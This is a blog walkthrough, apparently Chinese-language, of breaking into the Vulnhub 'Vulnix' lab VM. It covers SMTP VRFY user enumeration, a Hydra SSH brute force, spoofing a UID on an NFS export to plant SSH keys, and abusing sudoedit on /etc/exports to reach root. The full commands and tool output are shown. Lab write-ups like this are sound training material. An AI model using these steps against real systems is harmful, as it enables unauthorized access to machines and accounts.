Vulnhub-Vulnix靶场渗透

目标发现

由于是在同一网络下的靶机,那么可以使用arp-scan进行扫描发现目标:

┌──(kali㉿kali)-[~]
└─$ sudo arp-scan 192.168.56.0/24
Interface: eth0, type: EN10MB, MAC: 00:0c:29:6f:0f:9f, IPv4: 192.168.56.128
WARNING: Cannot open MAC/Vendor file ieee-oui.txt: Permission denied
WARNING: Cannot open MAC/Vendor file mac-vendor.txt: Permission denied
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.56.1    00:50:56:c0:00:08       (Unknown)
192.168.56.2    00:50:56:ea:c1:ad       (Unknown)
192.168.56.130  00:0c:29:24:7f:60       (Unknown)
192.168.56.254  00:50:56:e0:f2:49       (Unknown)

8 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 1.901 seconds (134.67 hosts/sec). 4 responded

排除一些已知IP可以得知目标为192.168.56.130

PS:也可以通过 netdiscover -r <ip> 进行主机发现。

信息搜集

端口扫描

先使用nmap进行开放端口扫描,探测已开放端口:

┌──(kali㉿kali)-[~]
└─$  nmap -sS -p- 192.168.56.130 --min-rate=10000
Starting Nmap 7.95 ( https://nmap.org ) at 2026-02-04 22:20 EST
Nmap scan report for 192.168.56.130
Host is up (0.0024s latency).
Not shown: 65518 closed tcp ports (reset)
PORT      STATE SERVICE
22/tcp    open  ssh
25/tcp    open  smtp
79/tcp    open  finger
110/tcp   open  pop3
111/tcp   open  rpcbind
143/tcp   open  imap
512/tcp   open  exec
513/tcp   open  login
514/tcp   open  shell
993/tcp   open  imaps
995/tcp   open  pop3s
2049/tcp  open  nfs
34261/tcp open  unknown
38838/tcp open  unknown
40311/tcp open  unknown
53813/tcp open  unknown
54118/tcp open  unknown
MAC Address: 00:0C:29:24:7F:60 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 13.56 seconds

再进行开放端口服务识别:

PS:在进行服务类型识别时需要添加一个没有开放的端口供工具识别开放关闭端口直接的响应差异

┌──(kali㉿kali)-[~]
└─$ sudo nmap -sS -sV -p22,25,79,110,111,143,512,513,514,993,995,2049,34261,38838,40311,53813,54118,2 -A 192.168.56.130 --min-rate=10000
Starting Nmap 7.95 ( https://nmap.org ) at 2026-02-04 23:44 EST
Nmap scan report for 192.168.56.130
Host is up (0.00045s latency).

PORT      STATE  SERVICE     VERSION
2/tcp     closed compressnet
22/tcp    open   ssh         OpenSSH 5.9p1 Debian 5ubuntu1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   1024 10:cd:9e:a0:e4:e0:30:24:3e:bd:67:5f:75:4a:33:bf (DSA)
|   2048 bc:f9:24:07:2f:cb:76:80:0d:27:a6:48:52:0a:24:3a (RSA)
|_  256 4d:bb:4a:c1:18:e8:da:d1:82:6f:58:52:9c:ee:34:5f (ECDSA)
25/tcp    open   smtp        Postfix smtpd
|_smtp-commands: vulnix, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN
|_ssl-date: 2026-02-05T04:46:15+00:00; 0s from scanner time.
| ssl-cert: Subject: commonName=vulnix
| Not valid before: 2012-09-02T17:40:12
|_Not valid after:  2022-08-31T17:40:12
79/tcp    open   finger      Linux fingerd
|_finger: No one logged on.\x0D
110/tcp   open   pop3        Dovecot pop3d
| ssl-cert: Subject: commonName=vulnix/organizationName=Dovecot mail server
| Not valid before: 2012-09-02T17:40:22
|_Not valid after:  2022-09-02T17:40:22
|_pop3-capabilities: PIPELINING TOP RESP-CODES UIDL SASL CAPA STLS
|_ssl-date: 2026-02-05T04:46:13+00:00; 0s from scanner time.
111/tcp   open   rpcbind     2-4 (RPC #100000)
| rpcinfo:
|   program version    port/proto  service
|   100005  1,2,3      38838/tcp   mountd
|   100005  1,2,3      40979/tcp6  mountd
|   100005  1,2,3      42607/udp   mountd
|   100005  1,2,3      47811/udp6  mountd
|   100227  2,3         2049/tcp   nfs_acl
|   100227  2,3         2049/tcp6  nfs_acl
|   100227  2,3         2049/udp   nfs_acl
|_  100227  2,3         2049/udp6  nfs_acl
143/tcp   open   imap        Dovecot imapd
|_ssl-date: 2026-02-05T04:46:13+00:00; -1s from scanner time.
|_imap-capabilities: IDLE more have listed post-login capabilities IMAP4rev1 SASL-IR Pre-login LITERAL+ OK ID LOGIN-REFERRALS LOGINDISABLEDA0001 ENABLE STARTTLS
| ssl-cert: Subject: commonName=vulnix/organizationName=Dovecot mail server
| Not valid before: 2012-09-02T17:40:22
|_Not valid after:  2022-09-02T17:40:22
512/tcp   open   exec        netkit-rsh rexecd
513/tcp   open   login?
514/tcp   open   shell?
993/tcp   open   ssl/imap    Dovecot imapd
| ssl-cert: Subject: commonName=vulnix/organizationName=Dovecot mail server
| Not valid before: 2012-09-02T17:40:22
|_Not valid after:  2022-09-02T17:40:22
|_imap-capabilities: IDLE AUTH=PLAINA0001 listed post-login more IMAP4rev1 SASL-IR have LITERAL+ OK ID capabilities Pre-login ENABLE LOGIN-REFERRALS
|_ssl-date: 2026-02-05T04:46:13+00:00; 0s from scanner time.
995/tcp   open   ssl/pop3    Dovecot pop3d
|_pop3-capabilities: PIPELINING TOP RESP-CODES UIDL USER CAPA SASL(PLAIN)
| ssl-cert: Subject: commonName=vulnix/organizationName=Dovecot mail server
| Not valid before: 2012-09-02T17:40:22
|_Not valid after:  2022-09-02T17:40:22
|_ssl-date: 2026-02-05T04:46:13+00:00; 0s from scanner time.
2049/tcp  open   nfs_acl     2-3 (RPC #100227)
34261/tcp open   mountd      1-3 (RPC #100005)
38838/tcp open   mountd      1-3 (RPC #100005)
40311/tcp open   mountd      1-3 (RPC #100005)
53813/tcp open   nlockmgr    1-4 (RPC #100021)
54118/tcp open   status      1 (RPC #100024)
MAC Address: 00:0C:29:24:7F:60 (VMware)
Device type: general purpose
Running: Linux 2.6.X|3.X
OS CPE: cpe:/o:linux:linux_kernel:2.6 cpe:/o:linux:linux_kernel:3
OS details: Linux 2.6.32 - 3.10
Network Distance: 1 hop
Service Info: Host:  vulnix; OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.45 ms 192.168.56.130

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 122.89 seconds

可以发现里面有一些关键信息:

  • 端口2049 (NFS) - 网络文件系统,允许远程挂载文件系统
  • 端口111 (rpcbind) - RPC服务,NFS依赖它
  • 端口22 (SSH) - 最终的登录目标
  • 端口79 (finger) - 用户信息枚举
  • 端口25(smtp)- 邮件服务
  • 系统信息 - Linux 2.6.32 - 3.10

NFS挂载

枚举目标共享的nfs目录有哪些:

┌──(kali㉿kali)-[~]
└─$ showmount -e 192.168.56.130
Export list for 192.168.56.130:
/home/vulnix *

可以看到存在目标存在配置错误,任意主机(*)都可以将目标的/home/vulnix目录挂载到本地。

将目标挂载到本地:

# 创建挂载点
mkdir /tmp/vulnix_nfs

# 挂载
sudo mount -t nfs 192.168.56.130:/home/vulnix /tmp/vulnix_nfs

但在查看内容的时候发现没有权限:

┌──(kali㉿kali)-[~]
└─$ ls -la /tmp/vulnix_nfs
ls: 无法打开目录 '/tmp/vulnix_nfs': 权限不够

┌──(kali㉿kali)-[~]
└─$ sudo ls -la /tmp/vulnix_nfs
[sudo] kali 的密码:
ls: 无法打开目录 '/tmp/vulnix_nfs': 权限不够

这里的权限不足可能与文件所有者UIDGID信息不一致从而被拒绝访问有关,而且共享的目录是在home下的用户目录,那么这个文件应该是属于vulnix的,那么需要进行一些用户信息探测,是否能找到泄露的vulnix的UID和GID。

邮件服务

通过扫描发现目标存在smtp服务,通过nmap的脚本进行探测:

┌──(kali㉿kali)-[~]
└─$ nmap --script=*smtp* -p 25 192.168.56.130
Starting Nmap 7.95 ( https://nmap.org ) at 2026-02-09 21:04 EST
Nmap scan report for 192.168.56.130
Host is up (0.0011s latency).

PORT   STATE SERVICE
25/tcp open  smtp
|_smtp-open-relay: Server doesn't seem to be an open relay, all tests failed
|_smtp-commands: vulnix, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN
| smtp-enum-users:
|_  Method RCPT returned a unhandled status code.
| smtp-vuln-cve2010-4344:
|_  The SMTP server is not Exim: NOT VULNERABLE
MAC Address: 00:0C:29:24:7F:60 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 19.14 seconds

从里面可以得知:

  • smtp-enum-users脚本无法枚举用户
  • 邮件服务器并未使用Exim软件,无法使用CVE漏洞攻击(因为Exploit DB中的大部分有效漏洞都是Exim的)
  • 靶机的SMTP服务支持以下命令:vulnixPIPELININGSIZEVRFYETRNSTARTTLSENHANCEDSTATUSCODES8BITMIMEDSN

其中支持的命令中的VRFY可以用于枚举用户:

SMTP命令 命令功能
MAIL FROM 指定发件人地址
RCPT TO 指定单个的邮件接收人;可有多个 RCPT TO;常在 MAIL FROM命令之后
VRFY 用于验证指定的用户/邮箱是否存在;由于安全原因,服务器常禁止此命令
EXPN 验证给定的邮箱列表是否存在,也常被禁用

执行命令后会有返回码进行状态确认:

返回码 含义
250 要求的邮件操作完成
550 要求的邮件操作未完成,邮箱不可用(例如,邮箱未找到,或不可访问)

那么可以使用smtp-enum-users工具进行用户枚举,字典选用/usr/share/wordlists/metasploit下的unix_users.txt

┌──(kali㉿kali)-[~/Work]
└─$ sudo smtp-user-enum -M VRFY -U /usr/share/wordlists/metasploit/unix_users.txt -t 192.168.56.130 > ./smtp用户扫描结果.txt
[sudo] kali 的密码:

┌──(kali㉿kali)-[~/Work]
└─$ cat smtp用户扫描结果.txt
Starting smtp-user-enum v1.2 ( http://pentestmonkey.net/tools/smtp-user-enum )

 ----------------------------------------------------------
|                   Scan Information                       |
 ----------------------------------------------------------

Mode ..................... VRFY
Worker Processes ......... 5
Usernames file ........... /usr/share/wordlists/metasploit/unix_users.txt
Target count ............. 1
Username count ........... 175
Target TCP port .......... 25
Query timeout ............ 5 secs
Target domain ............

######## Scan started at Mon Feb  9 21:10:31 2026 #########
192.168.56.130: backup exists
192.168.56.130: bin exists
192.168.56.130: daemon exists
192.168.56.130: games exists
192.168.56.130: gnats exists
192.168.56.130: irc exists
192.168.56.130: libuuid exists
192.168.56.130: landscape exists
192.168.56.130: list exists
192.168.56.130: lp exists
192.168.56.130: mail exists
192.168.56.130: messagebus exists
192.168.56.130: man exists
192.168.56.130: nobody exists
192.168.56.130: news exists
192.168.56.130: postfix exists
192.168.56.130: postmaster exists
192.168.56.130: proxy exists
192.168.56.130: ROOT exists
192.168.56.130: root exists
192.168.56.130: sshd exists
192.168.56.130: sync exists
192.168.56.130: sys exists
192.168.56.130: syslog exists
192.168.56.130: user exists
192.168.56.130: uucp exists
192.168.56.130: whoopsie exists
192.168.56.130: www-data exists
######## Scan completed at Mon Feb  9 21:10:34 2026 #########
28 results.

175 queries in 3 seconds (58.3 queries / sec)

┌──(kali㉿kali)-[~/Work]
└─$ sudo smtp-user-enum -M VRFY -u vulnix -t 192.168.56.130
Starting smtp-user-enum v1.2 ( http://pentestmonkey.net/tools/smtp-user-enum )

 ----------------------------------------------------------
|                   Scan Information                       |
 ----------------------------------------------------------

Mode ..................... VRFY
Worker Processes ......... 5
Target count ............. 1
Username count ........... 1
Target TCP port .......... 25
Query timeout ............ 5 secs
Target domain ............

######## Scan started at Mon Feb  9 21:24:09 2026 #########
192.168.56.130: vulnix exists
######## Scan completed at Mon Feb  9 21:24:09 2026 #########
1 results.

1 queries in 1 seconds (1.0 queries / sec)

总计发现了29个账户。其中rootROOTuser账户比较显眼,vulnix为前面发现在nfs共享的用户目录,除了root账户,判断它们是使用者而非系统建立的。

finger服务

Finger是一个用于获取本地或远程计算机用户信息的Linux服务。当在本地主机执行finger命令之后,将会返回本地计算机所有的用户信息(包括用户名、最近登录时间、电话等),远程同理。如果指定要查看的具体用户名,将会返回更加详细的信息。

命令格式:finger [选项] [用户名@主机名]

┌──(kali㉿kali)-[~/Work]
└─$ finger {backup,bin,daemon,games,gnats,irc,landscape,libuuid,list,lp,mail,messagebus,man,news,nobody,postfix,postmaster,proxy,root,ROOT,sshd,sync,sys,syslog,user,uucp,whoopsie,www-data,vulnix}@192.168.56.130
Login: backup                           Name: backup
Directory: /var/backups                 Shell: /bin/sh
Never logged in.
No mail.
No Plan.

Login: bin                              Name: bin
Directory: /bin                         Shell: /bin/sh
Never logged in.
No mail.
No Plan.

Login: daemon                           Name: daemon
Directory: /usr/sbin                    Shell: /bin/sh
Never logged in.
No mail.
No Plan.

Login: games                            Name: games
Directory: /usr/games                   Shell: /bin/sh
Never logged in.
No mail.
No Plan.

Login: gnats                            Name: Gnats Bug-Reporting System (admin)
Directory: /var/lib/gnats               Shell: /bin/sh
Never logged in.
No mail.
No Plan.

Login: irc                              Name: ircd
Directory: /var/run/ircd                Shell: /bin/sh
Never logged in.
No mail.
No Plan.

Login: landscape                        Name:
Directory: /var/lib/landscape           Shell: /bin/false
Never logged in.
No mail.
No Plan.

Login: libuuid                          Name:
Directory: /var/lib/libuuid             Shell: /bin/sh
Never logged in.
No mail.
No Plan.

Login: list                             Name: Mailing List Manager
Directory: /var/list                    Shell: /bin/sh
Never logged in.
No mail.
No Plan.

Login: lp                               Name: lp
Directory: /var/spool/lpd               Shell: /bin/sh
Never logged in.
No mail.
No Plan.

Login: mail                             Name: mail
Directory: /var/mail                    Shell: /bin/sh
Never logged in.
No mail.
No Plan.

Login: dovecot                          Name: Dovecot mail server
Directory: /usr/lib/dovecot             Shell: /bin/false
Never logged in.
No mail.
No Plan.

Login: messagebus                       Name:
Directory: /var/run/dbus                Shell: /bin/false
Never logged in.
No mail.
No Plan.

Login: man                              Name: man
Directory: /var/cache/man               Shell: /bin/sh
Never logged in.
No mail.
No Plan.

Login: news                             Name: news
Directory: /var/spool/news              Shell: /bin/sh
Never logged in.
No mail.
No Plan.

Login: nobody                           Name: nobody
Directory: /nonexistent                 Shell: /bin/sh
Never logged in.
No mail.
No Plan.

Login: postfix                          Name:
Directory: /var/spool/postfix           Shell: /bin/false
Never logged in.
No mail.
No Plan.

finger: postmaster: no such user.

Login: proxy                            Name: proxy
Directory: /bin                         Shell: /bin/sh
Never logged in.
No mail.
No Plan.

Login: root                             Name: root
Directory: /root                        Shell: /bin/bash
Never logged in.
No mail.
No Plan.

finger: ROOT: no such user.

Login: sshd                             Name:
Directory: /var/run/sshd                Shell: /usr/sbin/nologin
Never logged in.
No mail.
No Plan.

Login: sync                             Name: sync
Directory: /bin                         Shell: /bin/sync
Never logged in.
No mail.
No Plan.

Login: sys                              Name: sys
Directory: /dev                         Shell: /bin/sh
Never logged in.
No mail.
No Plan.

Login: syslog                           Name:
Directory: /home/syslog                 Shell: /bin/false
Never logged in.
No mail.
No Plan.

Login: user                             Name: user
Directory: /home/user                   Shell: /bin/bash
Never logged in.
No mail.
No Plan.

Login: dovenull                         Name: Dovecot login user
Directory: /nonexistent                 Shell: /bin/false
Never logged in.
No mail.
No Plan.

Login: uucp                             Name: uucp
Directory: /var/spool/uucp              Shell: /bin/sh
Never logged in.
No mail.
No Plan.

Login: whoopsie                         Name:
Directory: /nonexistent                 Shell: /bin/false
Never logged in.
No mail.
No Plan.

Login: www-data                         Name: www-data
Directory: /var/www                     Shell: /bin/sh
Never logged in.
No mail.
No Plan.

Login: vulnix                           Name:
Directory: /home/vulnix                 Shell: /bin/bash
Never logged in.
No mail.
No Plan.

没找到什么有效信息。

渗透测试

ssh爆破

到目前为止,没有得到任何有用的、可以被利用的有效信息,也没有可以尝试的web服务,那么现在尝试ssh的用户爆破了,在前面信息搜集时发现了 rootROOTuservulnix 这四个用户可以被尝试,使用字典 /usr/share/wordlists/metasploit/unix_passwords.txt 或者 rockyou.txt 进行爆破。

┌──(kali㉿kali)-[~/Work]
└─$ sudo hydra -L ./userlist -P /usr/share/wordlists/metasploit/unix_passwords.txt -t 10 ssh://192.168.56.130
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-02-09 22:00:51
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 10 tasks per 1 server, overall 10 tasks, 4084 login tries (l:4/p:1021), ~409 tries per task
[DATA] attacking ssh://192.168.56.130:22/
[STATUS] 237.00 tries/min, 237 tries in 00:01h, 3847 to do in 00:17h, 10 active
[STATUS] 242.00 tries/min, 726 tries in 00:03h, 3358 to do in 00:14h, 10 active
[STATUS] 239.71 tries/min, 1678 tries in 00:07h, 2406 to do in 00:11h, 10 active
[22][ssh] host: 192.168.56.130   login: user   password: letmein
[STATUS] 285.58 tries/min, 3427 tries in 00:12h, 657 to do in 00:03h, 10 active
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-02-09 22:15:40

得到了一个用户凭据:user:letmein

那就使用该账户进行登录,看能不能进行下一步利用:

┌──(kali㉿kali)-[~]
└─$ ssh user@192.168.56.130
user@192.168.56.130's password:
Welcome to Ubuntu 12.04.1 LTS (GNU/Linux 3.2.0-29-generic-pae i686)

 * Documentation:  https://help.ubuntu.com/

  System information as of Tue Feb 10 06:05:15 GMT 2026

  System load:  0.0              Processes:           89
  Usage of /:   90.3% of 773MB   Users logged in:     0
  Memory usage: 8%               IP address for eth0: 192.168.56.130
  Swap usage:   0%

  => / is using 90.3% of 773MB

  Graph this data and manage this system at https://landscape.canonical.com/

user@vulnix:~$ whoami
user
user@vulnix:~$ uname -a
Linux vulnix 3.2.0-29-generic-pae #46-Ubuntu SMP Fri Jul 27 17:25:43 UTC 2012 i686 i686 i386 GNU/Linux

后渗透

本地信息搜集

现在有了一个初始账户后,就需要尝试提权,而经过测试发现user用户无法使用sudo:

image-20260210141247347

因此可以使用脚本 linux-exploit-suggester.sh 或者 peass-ng_辅助提权工具 进行本地信息搜集,从而给出可能的提权方案,这里使用peass-ng:

# 将linpeas.sh上传、赋予执行权限并执行
chmod +x linpeas.sh
./linpeas.sh

可能的提权方式:

image-20260210151830270

用户和组信息:

image-20260210151616042

计划任务:

image-20260210151959123

到这里,除了利用一些可能导致系统崩溃的内核漏洞以外没有什么可进行提权的点,但从得到的用户和组信息中可以看到之前nfs共享的vulnix用户的id为2008,那么可以尝试在本地创建一个同id的同名用户尝试访问目标的nfs服务。

NFS挂载提权

前面已经挂载了那么就只需要创建一个同id的用户,可以看到现在就有权限访问nfs共享目录了:

┌──(kali㉿kali)-[~]
└─$ sudo groupadd -g 2008 nfsattack

┌──(kali㉿kali)-[~]
└─$ sudo adduser --uid 2008 --gid 2008 nfsattack
新的密码:
重新输入新的密码:
passwd:已成功更新密码
正在改变 nfsattack 的用户信息
请输入新值,或直接敲回车键以使用默认值
        全名 []:
        房间号码 []:
        工作电话 []:
        家庭电话 []:
        其它 []:
Is the information correct? [Y/n]

┌──(kali㉿kali)-[~]
└─$ ls /tmp
vulnix_nfs

┌──(kali㉿kali)-[~]
└─$ su nfsattack
密码:
┌──(nfsattack㉿kali)-[/home/kali]
└─$ ls -al /tmp/vulnix_nfs/
总计 16
drwxr-x---  2 nobody nogroup 4096 2012年 9月 2日 .
drwxrwxrwt 13 root   root     320  2月10日 02:39 ..
-rw-r--r--  1 nobody nogroup  220 2012年 4月 3日 .bash_logout
-rw-r--r--  1 nobody nogroup 3486 2012年 4月 3日 .bashrc
-rw-r--r--  1 nobody nogroup  675 2012年 4月 3日 .profile

里面啥有效文件都没有,但可以创建文件:

image-20260210155012062

那么尝试上传ssh公钥进行ssh登录vulnix用户,首先切换至原用户,使用ssh-keygen命令生成公私钥,并将公钥文件改名为authorized_keys上传,权限为600

ssh-keygen -t ecdsa -f /tmp/vulnix_key -N ""
su nfsattack
cd /tmp/vulnix_nfs/
mkdir .ssh
cat /tmp/vulnix_key.pub > .ssh/authorized_keys
chmod 700 .ssh
chmod 600 .ssh/authorized_keys
ls -la .ssh/
exit
ssh -i /tmp/vulnix_key vulnix@192.168.56.130

PS:但需要注意的是目标主机的ssh版本较低,不支持新版ssh的RSA算法,所以需要在生成密钥时使用ECDSA或ED25519。

user@vulnix:/tmp$ ssh -version
OpenSSH_5.9p1 Debian-5ubuntu1, OpenSSL 1.0.1 14 Mar 2012
Bad escape character 'rsion'.

成功以vulnix身份登入目标系统:

image-20260210160531749

使用 sudo -l 指令查看发现可以不需要密码修改NFS配置文件/etc/exports

vulnix@vulnix:~$ sudo -l
Matching 'Defaults' entries for vulnix on this host:
    env_reset,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User vulnix may run the following commands on this host:
    (root) sudoedit /etc/exports, (root) NOPASSWD: sudoedit /etc/exports

那么就可以直接编辑配置文件将root目录添加到NFS共享:

sudoedit /etc/exports
image-20260210161603898

然后需要重启靶机才能生效设置,重启后重新挂载nfs目录:

# 出现了添加的/root目录
┌──(kali㉿kali)-[~]
└─$ showmount -e 192.168.56.130
Export list for 192.168.56.130:
/root        *
/home/vulnix *

┌──(kali㉿kali)-[~]
└─$ sudo mount -t nfs 192.168.56.130:/root /tmp/vulnix_nfs

然后和前面一样将ssh公钥上传值nfs共享目录,不过这次需要登录为root用户才能进入到nfs共享目录:

sudo su
mkdir .ssh
cat /tmp/vulnix_key.pub > .ssh/authorized_keys
chmod 700 .ssh
chmod 600 .ssh/authorized_keys
ls -la .ssh/

成功以root身份登入目标:

image-20260210163648909

读取flag

flag文件在root目录下,其实前面在能访问挂载的root目录时即可访问flag文件了:

root@vulnix:~# ls /root/
trophy.txt
root@vulnix:~# cat /root/trophy.txt
cc614640424f5bd60ce5d5264899c3be

总结

这个靶场的主要考点是SMTP的配置错误、NFS共享配置错误、以及ssh写公钥的利用,通过SMTP的VRFY进行用户枚举,然后对可能是真实用户的用户进行密码爆破,配合利用NFS的共享权限进行逐步提权。

但这个靶场的最后的提权手法不太具有实战性,从后面的添加/root目录作为NFS共享目录的操作可以看到是需要将目标主机重启的,实战中不可能将目标主机重启,而且目标主机的运维人员一般也不会重启主机。

posted @ 2026-02-10 16:50  shinianyunyan  阅读(3)  评论(0)    收藏  举报